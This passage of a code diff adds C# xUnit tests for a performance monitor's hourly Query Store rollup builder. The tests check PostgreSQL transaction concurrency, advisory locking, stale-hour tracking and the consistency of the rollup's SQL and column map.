+            Assert.Equal(0, await MismatchesAsync(connection, hour, hour.AddHours(1), ct));
+            Assert.Equal(0, await StalePairsAsync(connection, ct));
+            Assert.True(await CountAsync(connection, $"SELECT count(*) FROM collect.query_store_compose_stamp WHERE collection_time = TIMESTAMP '{At(hour.AddMinutes(10))}' AND module_name = 'modX'", ct) > 0, "the row the writer committed is in the rollup");
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await CleanupAsync(scratch, connection, source, bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task ALongReadOnlyTransaction_AndAWriterThatBeganAfterTheWindow_DoNotDeferTheHour()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection, source, hourNow) = await ArrangeAsync(ct, servers: 4);
+        var bodySucceeded = false;
+        try
+        {
+            var young = hourNow.AddHours(-1);
+            await using var reader = await OpenAsync(scratch, ct);
+            await using var builder = await source.OpenConnectionAsync(ct);
+            await using (var readOnly = await reader.BeginTransactionAsync(ct))
+            {
+                await CountAsync(reader, "SELECT count(*) FROM collect.query_store_interval_wide", ct);
+                Assert.Equal(0, await CountAsync(connection, WritersSql, ct));
+
+                /* The young hour, whose window is still open: nothing here has written, so nothing defers it. */
+                Assert.NotNull(await QueryStoreComposeStamp.BuildHourAsync(builder, young, DateTime.UtcNow, ct));
+                Assert.Equal(1, await HourRowsAsync(connection, young, ct));
+                await readOnly.RollbackAsync(ct);
+            }
+
+            /* An hour whose window has closed (the youngest the builder does is three hours old) is not deferred by a transaction that is
+               writing now: it began after H + 2 h, so every row it writes into that hour is marked. Server 4 has no pair in the hour, so
+               the open writer's new pair row does not hold the build's own upsert up. */
+            var old = hourNow.AddHours(-3);
+            await using var writer = await OpenAsync(scratch, ct);
+            await using var open = await writer.BeginTransactionAsync(ct);
+            await InsertRowAsync(writer, 4, old.AddMinutes(20), 9_100_002, ct);
+            Assert.Equal(1, await CountAsync(connection, WritersSql, ct));
+            Assert.NotNull(await QueryStoreComposeStamp.BuildHourAsync(builder, old, DateTime.UtcNow, ct));
+            await open.CommitAsync(ct);
+            Assert.Equal(Pair(4, old), await StaleListAsync(connection, ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await CleanupAsync(scratch, connection, source, bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task ThePlan_IsBoundedByTheStoresClock_NotTheServicesClock()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection, source, hourNow) = await ArrangeAsync(ct, build: false);
+        var bodySucceeded = false;
+        try
+        {
+            /* A service clock two hours ahead of the store would plan the hour that is only an hour old by the store's clock, where the
+               trigger's margin is still open. The plan reads the store's clock, so the newest hour it plans is three hours old by it. */
+            var plan = await QueryStoreComposeStamp.PlanBuildsAsync(connection, DateTime.UtcNow.AddHours(2), RetentionDays, ct);
+            Assert.NotEmpty(plan);
+            Assert.Equal(hourNow.AddHours(-3), plan[0].Hour);
+            Assert.All(plan, b => Assert.True(b.Hour <= hourNow.AddHours(-3), $"{b.Hour:O} is too young"));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await CleanupAsync(scratch, connection, source, bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task AWriterThatBumpedThePairBeforeStep1AndHasNotCommitted_LeavesThePairStale_AndTheLookupRoutesTheHourToTheWideTable()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection, source, hourNow) = await ArrangeAsync(ct);
+        var bodySucceeded = false;
+        try
+        {
+            var hour = hourNow.AddHours(-3);
+            await using var writer = await OpenAsync(scratch, ct);
+            await using var builder = await source.OpenConnectionAsync(ct);
+            await BoundLockWaitsAsync(builder, ct);
+            await using var open = await writer.BeginTransactionAsync(ct);
+
+            /* The writer bumps server 1's pair (a late row) and holds the bump uncommitted. Step 1, a plain read, sees the committed value;
+               the aggregation does not see the row; the build's upsert of that pair waits for the writer's row lock. */
+            await InsertRowAsync(writer, 1, hour.AddMinutes(20), 9_100_003, ct);
+            Assert.Equal(0, await StalePairsAsync(connection, ct));
+            var build = QueryStoreComposeStamp.BuildHourAsync(builder, hour, DateTime.UtcNow, ct);
+            Assert.True(await SomeoneWaitsOnALockAsync(connection, ct), "the build should reach its upsert of the pair and wait for the writer");
+            Assert.False(build.IsCompleted);
+            await open.CommitAsync(ct);
+            Assert.NotNull(await build);
+
+            /* The pair ends stale (late_seq is above the built_seq the build read), so the lookup stops the rollup at the hour and the
+               panel reads the wide table from it on: the answer is exact even though the rollup lacks the row. */
+            Assert.Equal(Pair(1, hour), await StaleListAsync(connection, ct));
+            Assert.True(await MismatchesAsync(connection, hour, hour.AddHours(1), ct) > 0, "the rollup does not hold the writer's row");
+            Assert.Equal(hour, await StampThroughAsync(connection, hour.AddHours(-2), hourNow.AddHours(-2), ct));
+
+            var tick = await QueryStoreComposeStamp.RunTickAsync(source, DateTime.UtcNow, RetentionDays, NullLogger.Instance, ct);
+            Assert.Equal(0, tick.Failed);
+            Assert.Equal(1, tick.BuiltStale);
+            Assert.Equal(0, await StalePairsAsync(connection, ct));
+            Assert.Equal(0, await MismatchesAsync(connection, hour, hour.AddHours(1), ct));
+            Assert.Equal(hourNow.AddHours(-2), await StampThroughAsync(connection, hour.AddHours(-2), hourNow.AddHours(-2), ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await CleanupAsync(scratch, connection, source, bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task TheTriggerMarksAPairOncePerTransaction_AndARollbackToASavepointUndoesTheMark()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection, source, hourNow) = await ArrangeAsync(ct, build: false);
+        var bodySucceeded = false;
+        try
+        {
+            /* An hour the seed does not cover, so no pair exists yet. Every row is late (before the trigger's threshold). */
+            var hour = hourNow.AddHours(-40);
+            string LateSeq(int server) => $"SELECT coalesce(max(late_seq), 0) FROM collect.query_store_compose_stamp_built WHERE server_id = {server} AND hour = TIMESTAMP '{At(hour)}'";
+            await using var writer = await OpenAsync(scratch, ct);
+            await using (var open = await writer.BeginTransactionAsync(ct))
+            {
+                await InsertRowAsync(writer, 1, hour.AddMinutes(5), 9_200_001, ct);
+                await InsertRowAsync(writer, 1, hour.AddMinutes(10), 9_200_002, ct);
+                await InsertRowAsync(writer, 1, hour.AddMinutes(15), 9_200_003, ct);
+                Assert.Equal(1, await CountAsync(writer, LateSeq(1), ct));
+
+                await open.SaveAsync("sp", ct);
+                await InsertRowAsync(writer, 2, hour.AddMinutes(20), 9_200_004, ct);
+                await InsertRowAsync(writer, 2, hour.AddMinutes(25), 9_200_005, ct);
+                await InsertRowAsync(writer, 1, hour.AddMinutes(30), 9_200_006, ct);
+                Assert.Equal(1, await CountAsync(writer, LateSeq(2), ct));
+                Assert.Equal(1, await CountAsync(writer, LateSeq(1), ct));
+                Assert.Contains(",2:", await TextAsync(writer, "SELECT current_setting('darling.query_store_compose_stamp_marked')", ct), StringComparison.Ordinal);
+
+                /* The rollback takes server 2's pair row and its mark in the setting with it, and leaves server 1's, made before the savepoint. */
+                await open.RollbackAsync("sp", ct);
+                Assert.Equal(0, await CountAsync(writer, LateSeq(2), ct));
+                var marked = await TextAsync(writer, "SELECT current_setting('darling.query_store_compose_stamp_marked')", ct);
+                Assert.DoesNotContain(",2:", marked, StringComparison.Ordinal);
+                Assert.Contains(",1:", marked, StringComparison.Ordinal);
+                Assert.Equal(1, await CountAsync(writer, LateSeq(1), ct));
+
+                /* Server 2 is marked again, not skipped as already marked: the pair is back with its one bump. */
+                await InsertRowAsync(writer, 2, hour.AddMinutes(35), 9_200_007, ct);
+                Assert.Equal(1, await CountAsync(writer, LateSeq(2), ct));
+                await open.CommitAsync(ct);
+            }
+
+            Assert.Equal(1, await CountAsync(connection, LateSeq(1), ct));
+            Assert.Equal(1, await CountAsync(connection, LateSeq(2), ct));
+
+            /* The setting is transaction-local: the next transaction's first late row bumps the pair again. */
+            await InsertRowAsync(connection, 1, hour.AddMinutes(40), 9_200_008, ct);
+            Assert.Equal(2, await CountAsync(connection, LateSeq(1), ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await CleanupAsync(scratch, connection, source, bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task TwoBuildersOnTheSameHour_BuildItOnce_TheSecondWaitsForTheFirstAndTheHoursRowsAreNotDoubled()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection, source, hourNow) = await ArrangeAsync(ct);
+        var bodySucceeded = false;
+        try
+        {
+            var hour = hourNow.AddHours(-3);
+            await using var first = await source.OpenConnectionAsync(ct);
+            await using var second = await source.OpenConnectionAsync(ct);
+            await BoundLockWaitsAsync(second, ct);
+            Task<long?>? secondBuild = null;
+
+            /* The first build holds the hour's advisory lock and has not committed. The second must wait for it, and then redo the hour
+               on top of the first's committed rows: without the lock both delete nothing and both insert, which doubles the hour. */
+            /* The callback only records what it saw: a throw from inside it would leave the second build running against a store the
+               test is tearing down, which blocks the host instead of failing the test. The assertions run once both builds are done. */
+            var secondWaited = false;
+            long ungrantedAdvisoryLocks = -1;
+            var secondFinishedEarly = false;
+            await QueryStoreComposeStamp.BuildHourAsync(first, hour, DateTime.UtcNow, ct, async () =>
+            {
+                secondBuild = QueryStoreComposeStamp.BuildHourAsync(second, hour, DateTime.UtcNow, ct);
+                secondWaited = await SomeoneWaitsOnALockAsync(connection, ct);
+                ungrantedAdvisoryLocks = await CountAsync(connection, "SELECT count(*) FROM pg_locks WHERE locktype = 'advisory' AND NOT granted", ct);
+                secondFinishedEarly = secondBuild.IsCompleted;
+            });
+            var secondResult = await secondBuild!.WaitAsync(TimeSpan.FromSeconds(60), ct);
+            Assert.True(secondWaited, "the second build should wait on the hour's advisory lock");
+            Assert.Equal(1, ungrantedAdvisoryLocks);
+            Assert.False(secondFinishedEarly);
+            Assert.NotNull(secondResult);
+
+            var wideRows = await CountAsync(connection, $"SELECT count(*) FROM collect.query_store_interval_wide WHERE collection_time >= TIMESTAMP '{At(hour)}' AND collection_time < TIMESTAMP '{At(hour.AddHours(1))}'", ct);
+            Assert.True(wideRows > 0);
+            Assert.Equal(wideRows, await CountAsync(connection, $"SELECT sum(wide_rows) FROM collect.query_store_compose_stamp WHERE collection_time >= TIMESTAMP '{At(hour)}' AND collection_time < TIMESTAMP '{At(hour.AddHours(1))}'", ct));
+            Assert.Equal(0, await CountAsync(connection, @"SELECT count(*) FROM (SELECT 1 FROM collect.query_store_compose_stamp
+                GROUP BY collection_time, server_id, database_name, module_name, query_hash HAVING count(*) > 1) AS d", ct));
+            Assert.Equal(0, await MismatchesAsync(connection, hour, hour.AddHours(1), ct));
+            Assert.Equal(1, await HourRowsAsync(connection, hour, ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await CleanupAsync(scratch, connection, source, bodySucceeded);
+        }
+    }
+
+    /// <summary>S1: the builder's <c>first_execution_time</c> floor is the hour start less 26 h, so a row whose first execution is 25 h
+    /// before its collection time is still built into its hour. Run against the wide table's own read (the mismatch count is the
+    /// rollup against a fresh aggregate of the same hour), so a floor that drops the row shows as a mismatch.</summary>
+    [Fact]
+    public async Task ARowWhoseFirstExecutionIs25HoursBeforeItsCollectionTime_IsBuiltIntoItsHour()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection, source, hourNow) = await ArrangeAsync(ct, build: false);
+        var bodySucceeded = false;
+        try
+        {
+            var hour = hourNow.AddHours(-3);
+            var collected = hour.AddMinutes(5);
+            await ExecAsync(connection, $@"
+INSERT INTO collect.query_store_interval_wide
+(collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time,
+ module_name, query_hash, execution_count, avg_duration_us, avg_cpu_time_us, max_duration_us, max_cpu_time_us, runtime_stats_interval_id)
+VALUES (TIMESTAMP '{At(collected)}', 1, 'dbOld', 98, 98, 'Regular', TIMESTAMP '{At(collected.AddHours(-25))}', TIMESTAMP '{At(collected)}',
+        'modOld', 'hashOld', 7, 1000, 500, 2000, 900, 9300001)", ct);
+
+            await using var builder = await source.OpenConnectionAsync(ct);
+            Assert.NotNull(await QueryStoreComposeStamp.BuildHourAsync(builder, hour, DateTime.UtcNow, ct));
+            Assert.Equal(1, await CountAsync(connection,
+                $"SELECT coalesce(sum(wide_rows), 0) FROM collect.query_store_compose_stamp WHERE collection_time = TIMESTAMP '{At(collected)}' AND database_name = 'dbOld'", ct));
+            Assert.Equal(0, await MismatchesAsync(connection, hour, hour.AddHours(1), ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await CleanupAsync(scratch, connection, source, bodySucceeded);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreComposeStampTests.cs b/Darling/Darling.Tests/QueryStoreComposeStampTests.cs
new file mode 100644
index 0000000000..a544df563d
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreComposeStampTests.cs
@@ -0,0 +1,479 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Reflection;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5582 part 3, lane 1: the unit facts of the V173 rung and the builder. No connection: the SQL texts, the order the
+/// builder works in, the 3-hour lag, the column map that the compiler and the builder share, and the rung's place in the
+/// ladder (the sentinel, the version map, the tick).
+/// </summary>
+public sealed class QueryStoreComposeStampTests
+{
+    /// <summary>The probe ordinal of this rung's sentinel in the viewer's version probe.</summary>
+    internal const int ProbeOrdinal = 148;
+
+    /* ---- the column map ------------------------------------------------------------------------------- */
+
+    [Fact]
+    public void TheMap_HasUniqueColumnsAndExpressions_OverTheFactAlias_NeverDoublePrecision()
+    {
+        var map = QueryStoreComposeStamp.PartialColumnMap;
+        Assert.Equal(map.Count, map.Select(c => c.Column).Distinct(StringComparer.Ordinal).Count());
+        Assert.Equal(map.Count, map.Select(c => c.FactExpression).Distinct(StringComparer.Ordinal).Count());
+        foreach (var column in map)
+        {
+            Assert.Contains(column.SqlType, new[] { "bigint", "numeric" });
+            Assert.DoesNotContain("double", column.SqlType, StringComparison.OrdinalIgnoreCase);
+            Assert.DoesNotContain("double", column.FactExpression, StringComparison.OrdinalIgnoreCase);
+            if (column.FactExpression != "COUNT(*)")
+            {
+                Assert.Contains(QueryStoreComposeStamp.FactAlias + ".", column.FactExpression, StringComparison.Ordinal);
+            }
+        }
+
+        /* The 8-byte columns come first, then the numerics. */
+        var types = map.Select(c => c.SqlType).ToList();
+        Assert.Equal(types.OrderBy(t => t == "numeric" ? 1 : 0), types);
+    }
+
+    [Fact]
+    public void TheMap_IsTheTableTheRungCreates_ColumnForColumn()
+    {
+        var sql = QueryStoreComposeStamp.CreateSql;
+        var start = sql.IndexOf("CREATE TABLE IF NOT EXISTS collect.query_store_compose_stamp\r\n", StringComparison.Ordinal);
+        if (start < 0)
+        {
+            start = sql.IndexOf("CREATE TABLE IF NOT EXISTS collect.query_store_compose_stamp\n", StringComparison.Ordinal);
+        }
+
+        Assert.True(start >= 0, "the rung has no CREATE TABLE for the rollup");
+        var open = sql.IndexOf('(', start);
+        var close = sql.IndexOf(");", open, StringComparison.Ordinal);
+        var columns = sql[(open + 1)..close].Split('\n').Select(l => l.Trim().TrimEnd(',')).Where(l => l.Length > 0)
+            .Select(l => l.Split(' ', 2)).Select(p => (Name: p[0], Type: p[1])).ToList();
+
+        var expected = new List<(string Name, string Type)> { ("collection_time", "timestamp NOT NULL") };
+        expected.AddRange(QueryStoreComposeStamp.PartialColumnMap.Where(c => c.SqlType == "bigint")
+            .Select(c => (c.Column, c.Column == "wide_rows" ? "bigint NOT NULL" : "bigint")));
+        expected.Add(("server_id", "integer NOT NULL"));
+        expected.AddRange(new[] { ("database_name", "text"), ("module_name", "text"), ("query_hash", "text") });
+        expected.AddRange(QueryStoreComposeStamp.PartialColumnMap.Where(c => c.SqlType == "numeric").Select(c => (c.Column, "numeric")));
+
+        Assert.Equal(expected, columns);
+        Assert.Equal(new[] { "server_id", "database_name", "module_name", "query_hash" }, QueryStoreComposeStamp.DimensionColumns);
+    }
+
+    /// <summary>
+    /// Every partial the compiler's single-scan builder asks for over a Query Store measure and an aggregate it accepts has a
+    /// rollup column: the test calls <c>ComposeCompiler.TryBuildPartialValueExpr</c> itself, for each measure and each
+    /// aggregate, and looks up what it added to its <c>PartialColumns</c>. A partial added to the compiler without a column
+    /// here would be read through the rollup as a missing column, so the map has to follow it.
+    /// </summary>
+    [Fact]
+    public void TheMap_CoversEveryPartialTheCompilerCanAskFor_OverEveryQueryStoreMeasure()
+    {
+        var method = typeof(ComposeCompiler).GetMethods(BindingFlags.NonPublic | BindingFlags.Static)
+            .Single(m => m.Name == "TryBuildPartialValueExpr");
+        var partialsType = typeof(ComposeCompiler).GetNestedType("PartialColumns", BindingFlags.NonPublic)!;
+        var columnsProperty = partialsType.GetProperty("Columns")!;
+
+        var measures = MeasureCatalog.Measures.Where(m => string.Equals(m.SourceTable, "query_store_stats", StringComparison.Ordinal)).ToList();
+        Assert.Equal(7, measures.Count);
+
+        var seen = new HashSet<string>(StringComparer.Ordinal);
+        var produced = 0;
+        foreach (var measure in measures)
+        {
+            foreach (var aggregate in Enum.GetValues<ComposeAggregate>())
+            {
+                var partials = Activator.CreateInstance(partialsType, nonPublic: true)!;
+                var value = (string?)method.Invoke(null, new[] { measure, aggregate, measure.DefaultUnit, partials });
+                if (value is null)
+                {
+                    continue;
+                }
+
+                produced++;
+                foreach (var column in (IEnumerable)columnsProperty.GetValue(partials)!)
+                {
+                    var expression = (string)column.GetType().GetField("Item2")!.GetValue(column)!;
+                    seen.Add(expression);
+                    Assert.True(QueryStoreComposeStamp.ColumnFor(expression) is not null,
+                        $"{measure.Key} / {aggregate} asks for the partial {expression}, which no rollup column holds");
+                }
+            }
+        }
+
+        Assert.True(produced >= 20, $"the walk produced only {produced} partial expressions; the compiler's shape changed");
+        /* And every map entry is asked for by something (the map carries no dead column). */
+        foreach (var column in QueryStoreComposeStamp.PartialColumnMap)
+        {
+            Assert.Contains(column.FactExpression, seen);
+        }
+    }
+
+    /* ---- the SQL texts -------------------------------------------------------------------------------- */
+
+    [Fact]
+    public void TheBuilderInsert_IsGeneratedFromTheMap_AtTheStampGrain_InIndexOrder()
+    {
+        var sql = QueryStoreComposeStamp.BuildHourInsertSql;
+        foreach (var column in QueryStoreComposeStamp.PartialColumnMap)
+        {
+            Assert.Contains(column.FactExpression, sql, StringComparison.Ordinal);
+            Assert.Contains(column.Column, sql, StringComparison.Ordinal);
+        }
+
+        Assert.DoesNotContain("double precision", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("::float", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("::numeric", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.Contains("GROUP BY f.collection_time, f.server_id, f.database_name, f.module_name, f.query_hash", sql, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY f.collection_time, f.server_id", sql, StringComparison.Ordinal);
+        Assert.Contains("FROM collect.query_store_interval_wide AS f", sql, StringComparison.Ordinal);
+        Assert.Contains("f.collection_time >= $1", sql, StringComparison.Ordinal);
+        Assert.Contains("f.collection_time < $1 + interval '1 hour'", sql, StringComparison.Ordinal);
+        /* The floor is the shipped one, and there is no upper bound on first_execution_time (the wide read has none). */
+        Assert.Contains("f.first_execution_time >= $1 - " + QueryStoreIntervalWide.PurgeEdgeMarginSql, sql, StringComparison.Ordinal);
+        Assert.Single(Regex.Matches(sql, "first_execution_time"));
+        /* The target list and the select list have the same number of columns. */
+        var targets = Regex.Match(sql, @"INSERT INTO collect\.query_store_compose_stamp \(([^)]*)\)").Groups[1].Value.Split(',').Length;
+        Assert.Equal(1 + QueryStoreComposeStamp.PartialColumnMap.Count + QueryStoreComposeStamp.DimensionColumns.Count, targets);
+    }
+
+    [Fact]
+    public void TheBuildOrder_IsStaleHoursFirst_ThenMissingHoursNewestFirst_AfterTheLag()
+    {
+        var plan = QueryStoreComposeStamp.PlanSql;
+        Assert.Contains("ORDER BY p.stale DESC, p.blocked, p.hour DESC", plan, StringComparison.Ordinal);
+        /* The cap is per kind (stale, never built) and per blocked (an hour an open writer would defer); ChooseBuilds splits one tick's builds between the two kinds. */
+        Assert.Contains("row_number() OVER (PARTITION BY u.stale, u.blocked ORDER BY u.hour DESC)", plan, StringComparison.Ordinal);
+        Assert.Contains("WHERE p.rn <= $2", plan, StringComparison.Ordinal);
+        Assert.Contains("b.built_seq IS DISTINCT FROM b.late_seq", plan, StringComparison.Ordinal);
+        /* The build lag is read off the STORE's clock, the one the row trigger's WHEN uses; the service's clock is only the retention floor. */
+        Assert.Contains("date_trunc('hour', coalesce($3::timestamp, now() AT TIME ZONE 'UTC') - interval '3 hours')", plan, StringComparison.Ordinal);
+        Assert.DoesNotContain("$1::timestamp - interval", plan, StringComparison.Ordinal);
+        Assert.Contains("greatest($1::timestamp,", plan, StringComparison.Ordinal);
+        Assert.Contains("filled_since", plan, StringComparison.Ordinal);
+        Assert.Contains("sv.is_enabled", plan, StringComparison.Ordinal);
+
+        Assert.Equal(TimeSpan.FromHours(3), QueryStoreComposeStamp.BuildLag);
+        Assert.Equal(6, QueryStoreComposeStamp.MaxBuildsPerTick);
+        Assert.Equal(60, QueryStoreComposeStamp.BuildStatementTimeoutSeconds);
+        Assert.Equal(TimeSpan.FromMinutes(10), QueryStoreComposeStamp.MaxTickDuration);
+        Assert.Contains("60s", typeof(QueryStoreComposeStamp).GetField("StatementTimeoutSql", BindingFlags.NonPublic | BindingFlags.Static)!.GetValue(null)!.ToString(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheBuildOrder_InTheCode_IsLockThenGuardThenReadPairsThenDeleteThenInsertThenBuiltThenHours()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "QueryStoreComposeStamp.cs");
+        var body = source[source.IndexOf("public static async Task<long?> BuildHourAsync", StringComparison.Ordinal)..];
+        var order = new[] { "StatementTimeoutSql", "HourLockSql", "OpenWriterSql", "ReadPairsSql", "DeleteHourSql", "BuildHourInsertSql", "SourceRowsSql", "UpsertBuiltSql", "UpsertHourSql", "CommitAsync" };
+        var at = order.Select(o => body.IndexOf(o, StringComparison.Ordinal)).ToArray();
+        Assert.DoesNotContain(-1, at);
+        Assert.Equal(at.OrderBy(i => i), at);
+
+        /* Step 1 is a plain read: the advisory lock serializes builders, and reading late_seq before the aggregation is what keeps it exact.
+           A row lock here would make a late writer wait for the whole build. */
+        Assert.DoesNotContain("FOR UPDATE", QueryStoreComposeStamp.ReadPairsSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("FOR ", QueryStoreComposeStamp.ReadPairsSql, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY server_id", QueryStoreComposeStamp.ReadPairsSql, StringComparison.Ordinal);
+        /* The pair's late_seq is never written by the build: built_seq is the value read before the aggregation. */
+        Assert.DoesNotContain("late_seq =", QueryStoreComposeStamp.UpsertBuiltSql, StringComparison.Ordinal);
+        Assert.Contains("built_seq = EXCLUDED.built_seq", QueryStoreComposeStamp.UpsertBuiltSql, StringComparison.Ordinal);
+        Assert.Contains("COALESCE(l.late_seq, 0)", QueryStoreComposeStamp.UpsertBuiltSql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheOpenWriterGuard_IsTheWritersOfTheWideTable_NotEveryTransactionWithAnXid()
+    {
+        var sql = QueryStoreComposeStamp.OpenWriterSql;
+        /* A writer of the wide table holds a granted RowExclusiveLock on it or on a partition (#5582 review round 2, M1). */
+        Assert.Contains("FROM pg_locks AS l", sql, StringComparison.Ordinal);
+        Assert.Contains("JOIN pg_stat_activity AS a ON a.pid = l.pid", sql, StringComparison.Ordinal);
+        Assert.Contains("l.mode = 'RowExclusiveLock'", sql, StringComparison.Ordinal);
+        Assert.Contains("AND l.granted", sql, StringComparison.Ordinal);
+        Assert.Contains("to_regclass('collect.query_store_interval_wide')::oid", sql, StringComparison.Ordinal);
+        Assert.Contains("pg_partition_tree(to_regclass('collect.query_store_interval_wide'))", sql, StringComparison.Ordinal);
+        Assert.Contains("a.datname = current_database()", sql, StringComparison.Ordinal);
+        Assert.Contains("a.pid <> pg_backend_pid()", sql, StringComparison.Ordinal);
+        /* Any transaction with an xid used to count: a write to another table, a temp table, a FOR UPDATE. */
+        Assert.DoesNotContain("backend_xid", sql, StringComparison.Ordinal);
+        /* A writer whose start is not readable counts as open (L1); a readable one counts while it began before H + 2 h. */
+        Assert.Contains("w.xact_start IS NULL", sql, StringComparison.Ordinal);
+        Assert.Contains("(w.xact_start AT TIME ZONE 'UTC') < $1 + interval '2 hours'", sql, StringComparison.Ordinal);
+        /* The log names the writer; it never reads the session's query text. */
+        Assert.Contains("a.application_name, a.backend_type", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("query", QueryStoreComposeStamp.OldestWriterSql.Replace("query_store_interval_wide", string.Empty, StringComparison.Ordinal), StringComparison.OrdinalIgnoreCase);
+        /* The 2 hours are the build lag less the trigger's offset: a row of hour H is unmarked only before H + 3 h - 1 h. */
+        Assert.Equal(TimeSpan.FromHours(2), QueryStoreComposeStamp.BuildLag - QueryStoreComposeStamp.WhenOffset);
+    }
+
+    [Fact]
+    public void ThePlan_SkipsTheHoursAnOpenWriterWouldDefer_WithTheSameWriterSetAsTheGuard()
+    {
+        var plan = QueryStoreComposeStamp.PlanSql;
+        /* One predicate for the guard and the plan: the plan embeds the guard's writer rows, so they cannot drift apart. */
+        Assert.Contains("l.mode = 'RowExclusiveLock'", plan, StringComparison.Ordinal);
+        Assert.Contains("pg_partition_tree(to_regclass('collect.query_store_interval_wide'))", plan, StringComparison.Ordinal);
+        Assert.Contains("coalesce(w.xact_start AT TIME ZONE 'UTC', '-infinity'::timestamp)", plan, StringComparison.Ordinal);
+        Assert.Contains("'infinity'::timestamp", plan, StringComparison.Ordinal);
+        /* Both arms carry the bound, and it is the guard's strict comparison. */
+        Assert.Equal(2, System.Text.RegularExpressions.Regex.Matches(plan, @"interval '2 hours' > cutoff\.since").Count);
+    }
+
+    [Fact]
+    public void TheDeferralWatch_WarnsFromTheSecondTickInARow_OrAtOnceForALongWriter_AtMostOncePerTenMinutes_AndAQuietTickResetsIt()
+    {
+        var t0 = new DateTime(2026, 10, 8, 12, 0, 0, DateTimeKind.Utc);
+        var now = t0;
+        var watch = new QueryStoreComposeStamp.DeferralWatch(() => now);
+
+        Assert.False(watch.ShouldWarn(true, TimeSpan.FromMinutes(5)));
+        Assert.True(watch.ShouldWarn(true, TimeSpan.FromMinutes(5)));
+        now = t0.AddMinutes(9);
+        Assert.False(watch.ShouldWarn(true, TimeSpan.FromMinutes(5)));
+        now = t0.AddMinutes(10);
+        Assert.True(watch.ShouldWarn(true, TimeSpan.FromMinutes(5)));
+
+        /* A quiet tick resets the count: the next held-back tick is the first again. */
+        now = t0.AddHours(2);
+        Assert.False(watch.ShouldWarn(false, null));
+        Assert.False(watch.ShouldWarn(true, TimeSpan.FromMinutes(5)));
+
+        /* A writer open for over an hour warns on the first tick; exactly an hour does not; an unknown age does not. */
+        var fresh = new QueryStoreComposeStamp.DeferralWatch(() => now);
+        Assert.False(fresh.ShouldWarn(true, TimeSpan.FromHours(1)));
+        var another = new QueryStoreComposeStamp.DeferralWatch(() => now);
+        Assert.False(another.ShouldWarn(true, null));
+        var longWriter = new QueryStoreComposeStamp.DeferralWatch(() => now);
+        Assert.True(longWriter.ShouldWarn(true, TimeSpan.FromHours(1).Add(TimeSpan.FromSeconds(1))));
+        Assert.Equal(TimeSpan.FromMinutes(10), QueryStoreComposeStamp.DeferralWatch.WarnInterval);
+    }
+
+    private static QueryStoreComposeStamp.Build B(int hoursAgo, bool stale) => new(new DateTime(2026, 10, 8, 12, 0, 0).AddHours(-hoursAgo), stale);
+
+    [Fact]
+    public void ChooseBuilds_WithNeverBuiltHoursWaiting_GivesStaleHoursAtMostHalfTheTick_AndTheRestToTheNeverBuiltOnes()
+    {
+        var stale = Enumerable.Range(3, 10).Select(h => B(h, true));
+        var missing = Enumerable.Range(20, 10).Select(h => B(h, false));
+        var chosen = QueryStoreComposeStamp.ChooseBuilds(stale.Concat(missing).Reverse().ToList(), QueryStoreComposeStamp.MaxBuildsPerTick);
+
+        Assert.Equal(QueryStoreComposeStamp.MaxBuildsPerTick, chosen.Count);
+        Assert.Equal(QueryStoreComposeStamp.MaxBuildsPerTick / 2, chosen.Count(b => b.Stale));
+        /* Stale first, newest first; then the never-built hours, newest first. */
+        Assert.Equal(new[] { B(3, true), B(4, true), B(5, true), B(20, false), B(21, false), B(22, false) }, chosen);
+    }
+
+    [Fact]
+    public void ChooseBuilds_WithFewNeverBuiltHours_TakesThemAll_AndWithNoneWaiting_LetsStaleHoursTakeTheWholeTick()
+    {
+        var stale = Enumerable.Range(3, 10).Select(h => B(h, true)).ToList();
+
